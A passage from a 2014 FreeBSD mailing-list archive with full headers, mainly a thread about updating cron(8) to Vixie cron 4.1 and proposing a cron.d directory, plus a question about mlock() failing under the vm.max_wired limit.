>>>> some missing features at the moment: >>>> - @every_second - this need to be done >>>> - -s and -o, in vixi cron 4.1 daylight time switches are enabled by >>>> default, at the moment there is no -s and -o options. So you need to >>>> remove >>>> '-s' from the cron rc script >>>> >>>> I've also added one feature from OpenBSD, crontab is poking cron using >>>> unix-domain socket so we don't need to have suid on crontab. >>>> >>>> Path is in the attachment. I'm testing it on my FreeBSD box and it loo= ks >>>> good but anyway don't try it on production machines :). >>>> >>>> After the installation we have to do a few things: >>>> - Add crontab group >>>> - Change group to crontab on /var/cron/tabs >>>> - Add sticky bit on /var/cron/tabs >>>> - Add group write permissions on /var/cron/tabs >>>> >>>> This is still work in progress but if someone could have a look on thi= s >>>> and >>>> give me some feedback it would be great. >>>> >>>> Regards, >>>> Tomasz Walaszek >>>> >>>> _______________________________________________ >>>> freebsd-hackers@freebsd.org mailing list >>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>> To unsubscribe, send any mail to >>>> "freebsd-hackers-unsubscribe@freebsd.org" >>> >>> >>> >>> >> >> you should up the version number or start your own renamed application > ... > > I don't know how to react to this message. You just told a potential > contributor not to contribute since he was not the founder of the > project. That goes against everything that open source is about. > > > -- > Eitan Adler > _______________________________________________ > freebsd-arch@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-arch > To unsubscribe, send any mail to "freebsd-arch-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 03:59:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6C36229C for ; Mon, 23 Jun 2014 03:59:30 +0000 (UTC) Received: from mail-ig0-f173.google.com (mail-ig0-f173.google.com [209.85.213.173]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 2DA1F27DD for ; Mon, 23 Jun 2014 03:59:29 +0000 (UTC) Received: by mail-ig0-f173.google.com with SMTP id uq10so2512004igb.12 for ; Sun, 22 Jun 2014 20:59:23 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=opS7iXEBMNhF8MSlbi8+QnECsSm//b1kVqdolgyQI58=; b=M5Azabb12+onqm+wbbsQUcRqkTvaNsOGK22uJs4oS2J9OWjNRXOTwofw2RdDkKCy3T 8YJv7ThSTnWSKpWgXLruj1oytKVIPlcLF1Dtj7z2M0XAa0kGdzvjGQO8TcACbP2034xU A/+iQm6nC9wjUGOn4sZxTlQFKSx3jR6x7wonNcLpHR+z/b0Xw67Jpfn2NTDrHvaLtWef +rCFlatam+q2KczXaNpvr/r9n/YI570jCRmwEeMRv8x7+bjudNRT2mGfEjMnPn0INK0j C0wtD68YUM4Ew18B8gixMcscYL26n6Y1Q2BFsRKD8sEtCcKrOvTyPt9V4dQDtUSC/1c6 Yw/Q== X-Gm-Message-State: ALoCoQk2bMgEnyvb332fNvf3Clqn6NyUz0cKFro7p2dU+7D91bvcmW8DoVmrn35HLB3n7orR/dzc X-Received: by 10.42.25.19 with SMTP id y19mr20102652icb.45.1403495963255; Sun, 22 Jun 2014 20:59:23 -0700 (PDT) Received: from [10.0.0.119] (50-78-194-198-static.hfc.comcastbusiness.net. [50.78.194.198]) by mx.google.com with ESMTPSA id ie13sm28948606igb.10.2014.06.22.20.59.22 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 22 Jun 2014 20:59:22 -0700 (PDT) Sender: Warner Losh Content-Type: multipart/signed; boundary="Apple-Mail=_7098E7B9-D15F-4923-A4A2-C23EE267BE53"; protocol="application/pgp-signature"; micalg=pgp-sha512 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: Improve cron(8) From: Warner Losh In-Reply-To: Date: Sun, 22 Jun 2014 21:59:22 -0600 Message-Id: <348D4AE4-FAFD-45A7-A3E8-C507FBF5450A@bsdimp.com> References: <53A72666.8090101@cox.net> To: Adrian Chadd X-Mailer: Apple Mail (2.1878.2) Cc: Eitan Adler , "freebsd-arch@freebsd.org" , =?utf-8?Q?Tomek_Wa=C5=82aszek?= , johnandsara2@cox.net, "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 03:59:30 -0000 --Apple-Mail=_7098E7B9-D15F-4923-A4A2-C23EE267BE53 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=utf-8 Yea, The Paul Vixie I know never would be a lot nicer about it. The version number and name are the least of our worries here. Warner On Jun 22, 2014, at 9:00 PM, Adrian Chadd wrote: > Actually, I know how to react to that. >=20 > Don't dissuade someone from contributing. Discuss the changes and > whether they're positive or negative. >=20 > -a >=20 >=20 > On 22 June 2014 15:15, Eitan Adler wrote: >> On 22 June 2014 11:54, John D. Hendrickson and Sara Darnell >> wrote: >>> Eitan Adler wrote: >>>>=20 >>>> +arch since hackers@ seems to be silent. >>>>=20 >>>> On 11 June 2014 23:56, Tomek Wa=C5=82aszek = wrote: >>>>>=20 >>>>> Hello, >>>>> I saw on the FreeBSD Ideas page topic about cron :). >>>>> I've started updating the 'original' FreeBSD cron from sources to = vixi >>>>> cron >>>>> 4.1. I think (well I hope :P) most of the features that were done = in >>>>> FreeBSD cron are now ported into vixi cron 4.1, there are = unfortunately >>>>> some missing features at the moment: >>>>> - @every_second - this need to be done >>>>> - -s and -o, in vixi cron 4.1 daylight time switches are enabled = by >>>>> default, at the moment there is no -s and -o options. So you need = to >>>>> remove >>>>> '-s' from the cron rc script >>>>>=20 >>>>> I've also added one feature from OpenBSD, crontab is poking cron = using >>>>> unix-domain socket so we don't need to have suid on crontab. >>>>>=20 >>>>> Path is in the attachment. I'm testing it on my FreeBSD box and it = looks >>>>> good but anyway don't try it on production machines :). >>>>>=20 >>>>> After the installation we have to do a few things: >>>>> - Add crontab group >>>>> - Change group to crontab on /var/cron/tabs >>>>> - Add sticky bit on /var/cron/tabs >>>>> - Add group write permissions on /var/cron/tabs >>>>>=20 >>>>> This is still work in progress but if someone could have a look on = this >>>>> and >>>>> give me some feedback it would be great. >>>>>=20 >>>>> Regards, >>>>> Tomasz Walaszek >>>>>=20 >>>>> _______________________________________________ >>>>> freebsd-hackers@freebsd.org mailing list >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>> To unsubscribe, send any mail to >>>>> "freebsd-hackers-unsubscribe@freebsd.org" >>>>=20 >>>>=20 >>>>=20 >>>>=20 >>>=20 >>> you should up the version number or start your own renamed = application >> ... >>=20 >> I don't know how to react to this message. You just told a potential >> contributor not to contribute since he was not the founder of the >> project. That goes against everything that open source is about. >>=20 >>=20 >> -- >> Eitan Adler >> _______________________________________________ >> freebsd-arch@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-arch >> To unsubscribe, send any mail to = "freebsd-arch-unsubscribe@freebsd.org" > _______________________________________________ > freebsd-arch@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-arch > To unsubscribe, send any mail to = "freebsd-arch-unsubscribe@freebsd.org" --Apple-Mail=_7098E7B9-D15F-4923-A4A2-C23EE267BE53 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - https://gpgtools.org iQIcBAEBCgAGBQJTp6YaAAoJEGwc0Sh9sBEAUM8QANJjeClSdpspLpygE1EYHMMV UanuiqAiqCMaa4d/0+97iVl7olidWNjyZjW5gP830fWp0QQrUStgpmtioBr2Zqae 5qyRUOGgoPkXQB4wgsBVIdpusgHKM2Fm7ZOewb0h9jVJ5BX3YKlpKbDYJZje15Zy fs7wwmpJ2EUkXPxrJRgQMT3mCtpiW8AyWc3O0/s0DlDBlQD2oYZcPeJkbts+++1i RLF3UV/ifBt1jmwG5oCwDOBtHwPDu6aRhH/VutgP+KG0pTpDZ6IYoB56RGeoapfT SZ9hf71St3GHiaWyBGvutiTp9ggs3ebdUTHkpGyJe6UHVGwv3aEW8EogZidsjdis Ro5qmA9PW818aNfw1UrDz9PWmKdO7L7t9tAgUB+TE087kn/LxBFz44AjsbGcdbCg w1yajo7BoqHGE3k3KFl/7kuJ9idP8vonBZuNdx9+k0G0wcdcOWkGTBtaaqNWUOP4 3vjNGjyzk8ROQhhYbDQFDdPYK+jnu5Azhu28S9X3Wih9zNdXm53alkDMgTveIkzA MiSfqNKX2SImzgWGiJwcviJfg1YA+h7zIrJUv4X/LDNHSORovLGkp1xusjlyY/nU ACJJ0x3AtVEr65+2/W6FQXjRrNBLAMLdVlVrFi9CpeTv6USo4M3AYeHURgq59BGl rYbA4s9Z91QgGEUCb3U1 =0GpS -----END PGP SIGNATURE----- --Apple-Mail=_7098E7B9-D15F-4923-A4A2-C23EE267BE53-- From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 09:52:16 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 86FBC848 for ; Mon, 23 Jun 2014 09:52:16 +0000 (UTC) Received: from mail-lb0-x229.google.com (mail-lb0-x229.google.com [IPv6:2a00:1450:4010:c04::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 11894247D for ; Mon, 23 Jun 2014 09:52:15 +0000 (UTC) Received: by mail-lb0-f169.google.com with SMTP id l4so4194193lbv.28 for ; Mon, 23 Jun 2014 02:52:13 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:content-type:content-transfer-encoding:subject:message-id:date :to:mime-version; bh=3KubYOnKGDd57xsjN9BBd1LbZKILlimCQd9QFGfpqjg=; b=AkD9nDKZT+UYBLYJK6P538bnu+LAFv4M30dSfGSTj4dZldlCwr8sbFwbes7AqSZx6q JHmtU4gms7m05UEVUUOj/rx+RsSc0jbVx/Dol4HvDbtH+6k73DBkOU4vBnXoNe6iXy7a Ene9tfGJCIVoH5GWsj0CyzniKvlL9GUJgGNrAo+TWPNmR7WUVXaiQYTY64+ALslDEB0H bg1Co9MBBqoUX2PBZkO4poAHNKdmErtPKIITuEtoWnMt9otVxiASTF8kG8xW/jCN9FOg MXuWVDSR1IYc7EL4cnzZq94iaasxQCEWMqRuv01pzwlYClE3+8rBhuZUK9ONK0suFNUO ctLw== X-Received: by 10.152.3.41 with SMTP id 9mr638153laz.86.1403517133772; Mon, 23 Jun 2014 02:52:13 -0700 (PDT) Received: from ?IPv6:2a02:6b8::408:2957:6195:671c:5d00? ([2a02:6b8:0:408:2957:6195:671c:5d00]) by mx.google.com with ESMTPSA id pp8sm2538959lbb.4.2014.06.23.02.52.10 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 23 Jun 2014 02:52:11 -0700 (PDT) From: Dmitry Sivachenko Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: mlock() and vm_max_wired Message-Id: Date: Mon, 23 Jun 2014 13:52:09 +0400 To: hackers@freebsd.org Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) X-Mailer: Apple Mail (2.1878.2) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 09:52:16 -0000 Hello! I am using FreeBSD-10/stable and have a problem with mlock(). I have 256GB of memory and a program which does mmap+mlock on a number = of data files. It can process one file several times (so it does mmap() = + mlock() on the same file more than once). I set vm.max_wired=3D67108864 (67108864 * 4k =3D 256GB), so it is = allowed to mlock() the whole RAM. The total size of all files is about 180GB. The program fails with mlock: Resource temporarily unavailable error. If I increase vm.max_wired even more, the program works fine and after = it starts top(1) shows about 186GB of Wired memory. Why does it fail with vm.max_wired=3D67108864? Is it a bug or am I = missing something? Thanks.= From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 10:00:43 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 470EDC5B for ; Mon, 23 Jun 2014 10:00:43 +0000 (UTC) Received: from mail-lb0-x22f.google.com (mail-lb0-x22f.google.com [IPv6:2a00:1450:4010:c04::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C3232254B for ; Mon, 23 Jun 2014 10:00:42 +0000 (UTC) Received: by mail-lb0-f175.google.com with SMTP id n15so1401317lbi.6 for ; Mon, 23 Jun 2014 03:00:40 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date :content-transfer-encoding:message-id:references:to; bh=+NT+dN0PnL0NbrFeiCi1EnZxOd4a3MGfyIyv9nhVi4s=; b=K5WrDHQtAhhQmUkTW8jDxRoWcd5i3pMhWVbBCtk0HgZ7XcFQt6KVwOxhrdjysOIeKU v1FDDGb+vXIJHYlmntFY2g91M/tgucWnaUDRhbWOd72DoHfmN8vtVBQaGO34oiD/31gF /aGvctd3Ye5DKbFFkSJpK91+KYEDCWwdMF+J7Y4DA33ojUJ7akCx4NqC/eassaZ0wE4+ ZrO4KtkKAw38i7KO89GLEvMNOsKFtSz1sFjVjoF+1svhiH3MwdFj6iPljYZSWQmk6gKw WCyEBJsJZpLfhUsuxmJ2spndZstgdSSHZGC/fB0mX1WcWkZbNfbtuz3KbvoWKkizPMMX kkkA== X-Received: by 10.152.36.67 with SMTP id o3mr15761837laj.48.1403517640560; Mon, 23 Jun 2014 03:00:40 -0700 (PDT) Received: from ?IPv6:2a02:6b8::408:2957:6195:671c:5d00? ([2a02:6b8:0:408:2957:6195:671c:5d00]) by mx.google.com with ESMTPSA id pp8sm2554014lbb.4.2014.06.23.03.00.38 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 23 Jun 2014 03:00:39 -0700 (PDT) Content-Type: text/plain; charset=utf-8 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: mlock() and vm_max_wired From: Dmitry Sivachenko In-Reply-To: Date: Mon, 23 Jun 2014 14:00:37 +0400 Content-Transfer-Encoding: quoted-printable Message-Id: References: To: hackers@freebsd.org X-Mailer: Apple Mail (2.1878.2) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 10:00:43 -0000 On 23 =D0=B8=D1=8E=D0=BD=D1=8F 2014 =D0=B3., at 13:52, Dmitry Sivachenko = wrote: > Hello! >=20 > I am using FreeBSD-10/stable and have a problem with mlock(). > I have 256GB of memory and a program which does mmap+mlock on a number = of data files. It can process one file several times (so it does mmap() = + mlock() on the same file more than once). > I set vm.max_wired=3D67108864 (67108864 * 4k =3D 256GB), so it is = allowed to mlock() the whole RAM. >=20 > The total size of all files is about 180GB. >=20 > The program fails with mlock: Resource temporarily unavailable error. >=20 > If I increase vm.max_wired even more, the program works fine and after = it starts top(1) shows about 186GB of Wired memory. >=20 > Why does it fail with vm.max_wired=3D67108864? Is it a bug or am I = missing something? >=20 > Thanks. Forgot to add the I suspect the following fragment in vm_mmap.c, in = vm_mlock() function: if (npages + cnt.v_wire_count > vm_page_max_wired) return (EAGAIN); If we mlock() the same region second time, this condition can be true = though after mlock() these pages will not increase total locked pages = counter.= From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 12:40:08 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E72A8A40; Mon, 23 Jun 2014 12:40:07 +0000 (UTC) Received: from smtp.digiware.nl (unknown [IPv6:2001:4cb8:90:ffff::3]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7F77F22E6; Mon, 23 Jun 2014 12:40:07 +0000 (UTC) Received: from rack1.digiware.nl (unknown [127.0.0.1]) by smtp.digiware.nl (Postfix) with ESMTP id 3B1CA1534C4; Mon, 23 Jun 2014 14:39:55 +0200 (CEST) X-Virus-Scanned: amavisd-new at digiware.nl Received: from smtp.digiware.nl ([127.0.0.1]) by rack1.digiware.nl (rack1.digiware.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id VWczSRFW5FtZ; Mon, 23 Jun 2014 14:39:50 +0200 (CEST) Received: from [IPv6:2001:4cb8:3:1:a9cc:494a:8827:ca83] (unknown [IPv6:2001:4cb8:3:1:a9cc:494a:8827:ca83]) by smtp.digiware.nl (Postfix) with ESMTP id 375081534C0; Mon, 23 Jun 2014 14:39:50 +0200 (CEST) Message-ID: <53A82008.9050002@digiware.nl> Date: Mon, 23 Jun 2014 14:39:36 +0200 From: Willem Jan Withagen Organization: Digiware Management b.v. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Alfred Perlstein , freebsd-hackers@freebsd.org Subject: Re: Improve cron(8) References: <53A72666.8090101@cox.net> <53A78C13.8030909@freebsd.org> In-Reply-To: <53A78C13.8030909@freebsd.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 12:40:08 -0000 On 2014-06-23 4:08, Alfred Perlstein wrote: > On 6/22/14 11:54 AM, John D. Hendrickson and Sara Darnell wrote: >> Eitan Adler wrote: >>> +arch since hackers@ seems to be silent. >>> >>> On 11 June 2014 23:56, Tomek WaĹ‚aszek wrote: >>>> Hello, >>>> I saw on the FreeBSD Ideas page topic about cron :). >>>> I've started updating the 'original' FreeBSD cron from sources to >>>> vixi cron >>>> 4.1. I think (well I hope :P) most of the features that were done in >>>> FreeBSD cron are now ported into vixi cron 4.1, there are unfortunately >>>> some missing features at the moment: >>>> - @every_second - this need to be done >>>> - -s and -o, in vixi cron 4.1 daylight time switches are enabled by >>>> default, at the moment there is no -s and -o options. So you need to >>>> remove >>>> '-s' from the cron rc script >>>> >>>> I've also added one feature from OpenBSD, crontab is poking cron using >>>> unix-domain socket so we don't need to have suid on crontab. >>>> >>>> Path is in the attachment. I'm testing it on my FreeBSD box and it >>>> looks >>>> good but anyway don't try it on production machines :). >>>> >>>> After the installation we have to do a few things: >>>> - Add crontab group >>>> - Change group to crontab on /var/cron/tabs >>>> - Add sticky bit on /var/cron/tabs >>>> - Add group write permissions on /var/cron/tabs >>>> >>>> This is still work in progress but if someone could have a look on >>>> this and >>>> give me some feedback it would be great. >>>> >>>> Regards, >>>> Tomasz Walaszek >> >> you should up the version number or start your own renamed application > Tomek, please don't let messages like this dissuade you from > participating. Please do continue this work, it seems very promising. > Thank you! > > I was myself looking forward to having these additions. Very cool. Hi Tomek, One of the things I like in some of the other cron's is the possibility to add files to something like: /var/cron.d. This as contract to /var/cron/tabs, where files need to and are executed under that users privilidges. Reason that this would be convenient is that tools like puppet don't need to start editing files to remove crontab lines. Which IMHO is always more hairy then just adding/deleting/updating a file called: /var/cron.d/tool-ABC.cron I looked around but that is not in Vixie cron, and could be frowned upon because of too much possible security pittfalls. regards, --WjW From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 13:26:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 38700F6; Mon, 23 Jun 2014 13:26:12 +0000 (UTC) Received: from mail-oa0-x231.google.com (mail-oa0-x231.google.com [IPv6:2607:f8b0:4003:c02::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E647927A7; Mon, 23 Jun 2014 13:26:11 +0000 (UTC) Received: by mail-oa0-f49.google.com with SMTP id i7so10086509oag.22 for ; Mon, 23 Jun 2014 06:26:11 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=XIzUb2QckVLzmaOEXSjfpjkzHozgbCoj4jkM4NJXICw=; b=e1N5Vg1nSd8LsvugOifdKuy96bwDgdqo4EFX1b5fcMSpf7ofUuuxNLS27NyON3U8dM e1ZvNKOJuvxc7HVZdYbEkxywbfnye3AbaRwDQd/EGPt7HBsHlf0duoP8Rr9eOMeVk5JQ aj5m4/mipZA6Y+EkX0cwfWazmoQm2vGXZA9s1EWPnPeEHN6+wtWOScbZb33MPzT+8kEF e/QgxAS2jUD0MYJG9X51gSfq/w9FpvIKC+agnDEBBCTF4gVRXHmhQARLh1HeZG95xWBB M2STcTEJ8ZT0OMbSVjSx1rNPUi97TQrrkho3/dnuhBcCfP9v0udgaWe69qEkYWPw7LgN Y0NA== MIME-Version: 1.0 X-Received: by 10.60.176.163 with SMTP id cj3mr3288152oec.34.1403529971176; Mon, 23 Jun 2014 06:26:11 -0700 (PDT) Received: by 10.76.154.8 with HTTP; Mon, 23 Jun 2014 06:26:11 -0700 (PDT) In-Reply-To: <53A82008.9050002@digiware.nl> References: <53A72666.8090101@cox.net> <53A78C13.8030909@freebsd.org> <53A82008.9050002@digiware.nl> Date: Mon, 23 Jun 2014 15:26:11 +0200 Message-ID: Subject: Re: Improve cron(8) From: =?UTF-8?Q?Tomek_Wa=C5=82aszek?= To: Willem Jan Withagen Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: freebsd-hackers@freebsd.org, Alfred Perlstein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 13:26:12 -0000 2014-06-23 14:39 GMT+02:00 Willem Jan Withagen : > On 2014-06-23 4:08, Alfred Perlstein wrote: > >> On 6/22/14 11:54 AM, John D. Hendrickson and Sara Darnell wrote: >> >>> Eitan Adler wrote: >>> >>>> +arch since hackers@ seems to be silent. >>>> >>>> On 11 June 2014 23:56, Tomek Wa=C5=82aszek wrot= e: >>>> >>>>> Hello, >>>>> I saw on the FreeBSD Ideas page topic about cron :). >>>>> I've started updating the 'original' FreeBSD cron from sources to >>>>> vixi cron >>>>> 4.1. I think (well I hope :P) most of the features that were done in >>>>> FreeBSD cron are now ported into vixi cron 4.1, there are unfortunate= ly >>>>> some missing features at the moment: >>>>> - @every_second - this need to be done >>>>> - -s and -o, in vixi cron 4.1 daylight time switches are enabled by >>>>> default, at the moment there is no -s and -o options. So you need to >>>>> remove >>>>> '-s' from the cron rc script >>>>> >>>>> I've also added one feature from OpenBSD, crontab is poking cron usin= g >>>>> unix-domain socket so we don't need to have suid on crontab. >>>>> >>>>> Path is in the attachment. I'm testing it on my FreeBSD box and it >>>>> looks >>>>> good but anyway don't try it on production machines :). >>>>> >>>>> After the installation we have to do a few things: >>>>> - Add crontab group >>>>> - Change group to crontab on /var/cron/tabs >>>>> - Add sticky bit on /var/cron/tabs >>>>> - Add group write permissions on /var/cron/tabs >>>>> >>>>> This is still work in progress but if someone could have a look on >>>>> this and >>>>> give me some feedback it would be great. >>>>> >>>>> Regards, >>>>> Tomasz Walaszek >>>>> >>>> > > >>> you should up the version number or start your own renamed application >>> >> > Tomek, please don't let messages like this dissuade you from >> participating. Please do continue this work, it seems very promising. >> Thank you! >> >> I was myself looking forward to having these additions. Very cool. >> > > Hi Tomek, > > One of the things I like in some of the other cron's is the possibility t= o > add files to something like: /var/cron.d. > This as contract to /var/cron/tabs, where files need to and ar= e > executed under that users privilidges. > > Reason that this would be convenient is that tools like puppet don't need > to start editing files to remove crontab lines. Which IMHO is always more > hairy then just adding/deleting/updating a file called: > /var/cron.d/tool-ABC.cron > > I looked around but that is not in Vixie cron, and could be frowned upon > because of too much possible security pittfalls. > > regards, > --WjW > > > > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " > Hello, I got your point. >From the technical perspective it should be quite easy to implement this feature, but I'm not sure whether this will get positive feedback. I remeber that there was a discussion on the OpenBSD mailing lists (there was even a patch for this) but they don't like the idea :) maybe FreeBSD project will like it, I don't know. At the moment I want to update FreeBSD cron to ISC cron (with all the features that FreeBSD has at the moment and ISC does not have) and integrate atrun into cron like it was done in OpenBSD cron. After that (or faster who knows :)) maybe we should have a discussion about this idea. Best regards, Tomasz Walaszek From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 16:53:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 030AE625; Mon, 23 Jun 2014 16:53:06 +0000 (UTC) Received: from mail-qa0-x235.google.com (mail-qa0-x235.google.com [IPv6:2607:f8b0:400d:c00::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id A5B702C63; Mon, 23 Jun 2014 16:53:05 +0000 (UTC) Received: by mail-qa0-f53.google.com with SMTP id j15so5958750qaq.12 for ; Mon, 23 Jun 2014 09:53:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type:content-transfer-encoding; bh=0sWqHEGydxuaczC4V84JWnAvAHzK0CKT3w1mVjgsq5A=; b=tFlOLa6WWhH862f7oW/xcWm5Yyu4wGirF2yG5l2vfEyf5I0oBqlGHoH6nbiQNWHlEp /z8uTNoZq5VSADVjAOwF6hhSDpuB4exx96KJ2+KxZ22RgzwmKwJP2lix2o2Yihq2Oa2Y 6I/+rRS+q4YMknCZYQiu0UJSS3bMU5C/Rr14jE0p5SKCBu9HQ+HZX6GjxlWZj3fMnvHs Udj6G3LV7G/ZGxmJRS3osjBTilCbx8OUzz3JX0uUhrbXfTZtIiyPIzkKnmnKXa2FqX5/ OSKyB2WMY/ty43Y3K6d72YQwxHoYNH5Hjs1YphC/q/9Mqgb99EPftZdc7OeEXQZzq4cH LwMw== MIME-Version: 1.0 X-Received: by 10.140.47.16 with SMTP id l16mr33095143qga.24.1403542384777; Mon, 23 Jun 2014 09:53:04 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.43.134 with HTTP; Mon, 23 Jun 2014 09:53:04 -0700 (PDT) In-Reply-To: References: <53A72666.8090101@cox.net> <53A78C13.8030909@freebsd.org> <53A82008.9050002@digiware.nl> Date: Mon, 23 Jun 2014 09:53:04 -0700 X-Google-Sender-Auth: wiQk8ivYWjxhZee_F5bXNeYLeuk Message-ID: Subject: Re: Improve cron(8) From: Adrian Chadd To: =?UTF-8?Q?Tomek_Wa=C5=82aszek?= Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: "freebsd-hackers@freebsd.org" , Willem Jan Withagen , Alfred Perlstein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 16:53:06 -0000 On 23 June 2014 06:26, Tomek Wa=C5=82aszek wrote: > Hello, > I got your point. > From the technical perspective it should be quite easy to implement this > feature, but I'm not sure whether this will get positive feedback. I > remeber that there was 